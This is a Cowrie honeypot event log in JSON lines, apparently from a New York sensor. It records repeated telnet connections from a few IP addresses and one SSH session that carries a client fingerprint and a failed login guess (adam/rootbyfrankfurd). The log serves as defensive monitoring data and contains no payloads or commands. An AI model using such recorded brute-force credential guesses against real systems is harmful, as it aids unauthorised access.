{"eventid":"cowrie.session.closed","duration":30.298279762268066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:30.158755Z","src_ip":"139.84.139.120","session":"6e54eca2e175","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":39422,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f5dceb466b9","protocol":"telnet","message":"New connection: 103.221.220.6:39422 (10.17.0.5:23) [session: 6f5dceb466b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:31.853799Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":39498,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e812bfe6fa9","protocol":"telnet","message":"New connection: 103.221.220.6:39498 (10.17.0.5:23) [session: 9e812bfe6fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:31.902203Z"}
{"eventid":"cowrie.session.closed","duration":31.12531089782715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:32.901729Z","src_ip":"103.221.220.6","session":"2e742f9ab4a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":41330,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed9bb948523d","protocol":"telnet","message":"New connection: 103.221.220.6:41330 (10.17.0.5:23) [session: ed9bb948523d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:33.779289Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":41542,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3712111c579","protocol":"telnet","message":"New connection: 103.221.220.6:41542 (10.17.0.5:23) [session: b3712111c579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:33.940267Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":43476,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4d186a78917","protocol":"telnet","message":"New connection: 103.221.220.6:43476 (10.17.0.5:23) [session: b4d186a78917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:35.909589Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":42464,"dst_ip":"10.17.0.5","dst_port":23,"session":"484f9ab8cd59","protocol":"telnet","message":"New connection: 103.221.220.6:42464 (10.17.0.5:23) [session: 484f9ab8cd59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:35.934101Z"}
{"eventid":"cowrie.session.closed","duration":30.586512565612793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:36.350194Z","src_ip":"103.221.220.6","session":"6a15c78dfaca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709991931915283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:36.356569Z","src_ip":"103.221.220.6","session":"dfd1868a652b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":43314,"dst_ip":"10.17.0.5","dst_port":23,"session":"d59343c44d25","protocol":"telnet","message":"New connection: 103.221.220.6:43314 (10.17.0.5:23) [session: d59343c44d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:36.812849Z"}
{"eventid":"cowrie.session.closed","duration":32.657570123672485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:37.027348Z","src_ip":"103.221.220.6","session":"197e5edd4424","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":45320,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e28d9b8ec3a","protocol":"telnet","message":"New connection: 103.221.220.6:45320 (10.17.0.5:23) [session: 0e28d9b8ec3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:37.792398Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":45310,"dst_ip":"10.17.0.5","dst_port":23,"session":"41316906e3c4","protocol":"telnet","message":"New connection: 103.221.220.6:45310 (10.17.0.5:23) [session: 41316906e3c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:37.797030Z"}
{"eventid":"cowrie.session.closed","duration":30.440295696258545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:38.121164Z","src_ip":"103.221.220.6","session":"ec84c9ccd9a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":60250,"dst_ip":"159.203.135.109","dst_port":23,"session":"72fdf7844482","protocol":"telnet","message":"New connection: 139.84.139.120:60250 (159.203.135.109:23) [session: 72fdf7844482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:38.694872Z"}
{"eventid":"cowrie.session.closed","duration":30.5668363571167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:39.307544Z","src_ip":"103.221.220.6","session":"11f485d34221","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":47102,"dst_ip":"10.17.0.5","dst_port":23,"session":"128491fcc8a8","protocol":"telnet","message":"New connection: 103.221.220.6:47102 (10.17.0.5:23) [session: 128491fcc8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:39.630340Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":47194,"dst_ip":"10.17.0.5","dst_port":23,"session":"9125b7dac514","protocol":"telnet","message":"New connection: 103.221.220.6:47194 (10.17.0.5:23) [session: 9125b7dac514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:39.730937Z"}
{"eventid":"cowrie.session.closed","duration":31.451069355010986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:40.304612Z","src_ip":"103.221.220.6","session":"005392d36b1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73356819152832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:41.721526Z","src_ip":"103.221.220.6","session":"561806e2b59f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":48168,"dst_ip":"10.17.0.5","dst_port":23,"session":"9777cb882e90","protocol":"telnet","message":"New connection: 103.221.220.6:48168 (10.17.0.5:23) [session: 9777cb882e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:41.735632Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":60256,"dst_ip":"159.203.135.109","dst_port":23,"session":"5afbab8e8255","protocol":"telnet","message":"New connection: 139.84.139.120:60256 (159.203.135.109:23) [session: 5afbab8e8255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:42.671344Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":60252,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cae206102e9","protocol":"telnet","message":"New connection: 139.84.139.120:60252 (159.203.135.109:23) [session: 2cae206102e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:42.676569Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":49036,"dst_ip":"10.17.0.5","dst_port":23,"session":"682e0948bafe","protocol":"telnet","message":"New connection: 103.221.220.6:49036 (10.17.0.5:23) [session: 682e0948bafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:42.806723Z"}
{"eventid":"cowrie.session.closed","duration":31.287142276763916,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:43.997874Z","src_ip":"103.221.220.6","session":"6cd31545b15f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":49324,"dst_ip":"10.17.0.5","dst_port":23,"session":"53a5d049700c","protocol":"telnet","message":"New connection: 103.221.220.6:49324 (10.17.0.5:23) [session: 53a5d049700c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:44.050021Z"}
{"eventid":"cowrie.session.closed","duration":30.415170192718506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:44.131902Z","src_ip":"103.221.220.6","session":"c711fead203e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":48732,"dst_ip":"10.17.0.5","dst_port":23,"session":"82d5c3a3521e","protocol":"telnet","message":"New connection: 103.221.220.6:48732 (10.17.0.5:23) [session: 82d5c3a3521e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:44.383908Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":51358,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0d7d010166","protocol":"telnet","message":"New connection: 103.221.220.6:51358 (10.17.0.5:23) [session: 6c0d7d010166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:45.394547Z"}
{"eventid":"cowrie.session.closed","duration":120.00125122070312,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:45.405747Z","src_ip":"102.135.170.60","session":"ca9e222b1690","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00212788581848,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:46.319623Z","src_ip":"102.135.170.60","session":"099e0276758d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":53376,"dst_ip":"10.17.0.5","dst_port":23,"session":"4479d2e06d2f","protocol":"telnet","message":"New connection: 103.221.220.6:53376 (10.17.0.5:23) [session: 4479d2e06d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:46.811330Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":53448,"dst_ip":"10.17.0.5","dst_port":23,"session":"a42372cd73cb","protocol":"telnet","message":"New connection: 103.221.220.6:53448 (10.17.0.5:23) [session: a42372cd73cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:47.868211Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":54432,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7e34cc9890e","protocol":"telnet","message":"New connection: 103.221.220.6:54432 (10.17.0.5:23) [session: e7e34cc9890e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:48.009776Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":43574,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9c2b590f95e","protocol":"telnet","message":"New connection: 102.135.170.60:43574 (10.17.0.5:23) [session: f9c2b590f95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:48.933537Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":43598,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5beeb1a61fc","protocol":"telnet","message":"New connection: 102.135.170.60:43598 (10.17.0.5:23) [session: d5beeb1a61fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:49.412662Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":43646,"dst_ip":"10.17.0.5","dst_port":23,"session":"957a760a0abd","protocol":"telnet","message":"New connection: 102.135.170.60:43646 (10.17.0.5:23) [session: 957a760a0abd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:49.612518Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":55800,"dst_ip":"10.17.0.5","dst_port":23,"session":"12cc33e35748","protocol":"telnet","message":"New connection: 103.221.220.6:55800 (10.17.0.5:23) [session: 12cc33e35748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:49.640296Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":55842,"dst_ip":"10.17.0.5","dst_port":23,"session":"661134170f89","protocol":"telnet","message":"New connection: 103.221.220.6:55842 (10.17.0.5:23) [session: 661134170f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:49.669639Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":56120,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee3dbb39ec20","protocol":"telnet","message":"New connection: 103.221.220.6:56120 (10.17.0.5:23) [session: ee3dbb39ec20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:49.948760Z"}
{"eventid":"cowrie.session.closed","duration":30.39502191543579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:50.136899Z","src_ip":"103.221.220.6","session":"086bd76f4a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760785818099976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:51.518708Z","src_ip":"103.221.220.6","session":"74581d61d2a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.370014667510986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:52.192205Z","src_ip":"139.84.139.120","session":"d33c41209a4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47680139541626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:53.185281Z","src_ip":"103.221.220.6","session":"221764d59527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51010,"dst_ip":"159.203.135.109","dst_port":22,"session":"e31e01def4fc","protocol":"ssh","message":"New connection: 159.203.92.129:51010 (159.203.135.109:22) [session: e31e01def4fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:54.018816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:54.024738Z","src_ip":"159.203.92.129","session":"e31e01def4fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:54.030988Z","src_ip":"159.203.92.129","session":"e31e01def4fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"rootbyfrankfurd","message":"login attempt [adam/rootbyfrankfurd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:54.043661Z","src_ip":"159.203.92.129","session":"e31e01def4fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":60648,"dst_ip":"10.17.0.5","dst_port":23,"session":"f34cb08cbfd7","protocol":"telnet","message":"New connection: 103.221.220.6:60648 (10.17.0.5:23) [session: f34cb08cbfd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:54.923614Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:55.049862Z","src_ip":"159.203.92.129","session":"e31e01def4fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.450013637542725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:55.254285Z","src_ip":"103.221.220.6","session":"91f6ceab1ee8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":60806,"dst_ip":"10.17.0.5","dst_port":23,"session":"9154321c73de","protocol":"telnet","message":"New connection: 103.221.220.6:60806 (10.17.0.5:23) [session: 9154321c73de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:56.125045Z"}
{"eventid":"cowrie.session.closed","duration":30.45678949356079,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:56.168862Z","src_ip":"139.84.139.120","session":"6b577aa81fc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57804822921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:56.309768Z","src_ip":"103.221.220.6","session":"ebf9f46e3388","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":33980,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1444e25f6d6","protocol":"telnet","message":"New connection: 103.221.220.6:33980 (10.17.0.5:23) [session: e1444e25f6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:56.927229Z"}
{"eventid":"cowrie.session.closed","duration":31.74496340751648,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:57.981281Z","src_ip":"103.221.220.6","session":"53380bf36e81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.476579189300537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:58.180233Z","src_ip":"139.84.139.120","session":"d66e30374dc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.327646493911743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:29:59.158916Z","src_ip":"139.84.139.120","session":"332459e15855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":36686,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b74ea706a3","protocol":"telnet","message":"New connection: 103.221.220.6:36686 (10.17.0.5:23) [session: 23b74ea706a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:00.096623Z"}
{"eventid":"cowrie.session.closed","duration":31.22773051261902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:00.262141Z","src_ip":"139.84.139.120","session":"2c7044598c89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":37202,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f3d2df866c","protocol":"telnet","message":"New connection: 103.221.220.6:37202 (10.17.0.5:23) [session: 51f3d2df866c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:00.754155Z"}
{"eventid":"cowrie.session.closed","duration":31.29797673225403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:01.264000Z","src_ip":"103.221.220.6","session":"1feaa68bb62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":37060,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7697ff9b0f","protocol":"telnet","message":"New connection: 103.221.220.6:37060 (10.17.0.5:23) [session: 8e7697ff9b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:01.568483Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":38056,"dst_ip":"10.17.0.5","dst_port":23,"session":"e93df40cb374","protocol":"telnet","message":"New connection: 103.221.220.6:38056 (10.17.0.5:23) [session: e93df40cb374]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:01.758638Z"}
{"eventid":"cowrie.session.closed","duration":34.60371375083923,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:01.875335Z","src_ip":"103.221.220.6","session":"ae3608fb925e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":38862,"dst_ip":"10.17.0.5","dst_port":23,"session":"a59f80f2bdbe","protocol":"telnet","message":"New connection: 103.221.220.6:38862 (10.17.0.5:23) [session: a59f80f2bdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:02.846965Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":39528,"dst_ip":"10.17.0.5","dst_port":23,"session":"1685382c7d3d","protocol":"telnet","message":"New connection: 103.221.220.6:39528 (10.17.0.5:23) [session: 1685382c7d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:03.724896Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":39586,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f07247d4502","protocol":"telnet","message":"New connection: 103.221.220.6:39586 (10.17.0.5:23) [session: 4f07247d4502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:03.806415Z"}
{"eventid":"cowrie.session.closed","duration":30.64624571800232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:04.425420Z","src_ip":"103.221.220.6","session":"ed9bb948523d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":40520,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d2933878824","protocol":"telnet","message":"New connection: 103.221.220.6:40520 (10.17.0.5:23) [session: 9d2933878824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:04.908828Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.221.220.6","src_port":40596,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc9a45140b90","protocol":"telnet","message":"New connection: 103.221.220.6:40596 (10.17.0.5:23) [session: dc9a45140b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:05.002751Z"}
{"eventid":"cowrie.session.closed","duration":31.467864751815796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:05.408023Z","src_ip":"103.221.220.6","session":"b3712111c579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.78065037727356,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:30:05.634268Z","src_ip":"103.221.220.6","session":"6f5dceb466b9","protocol":"telnet"}
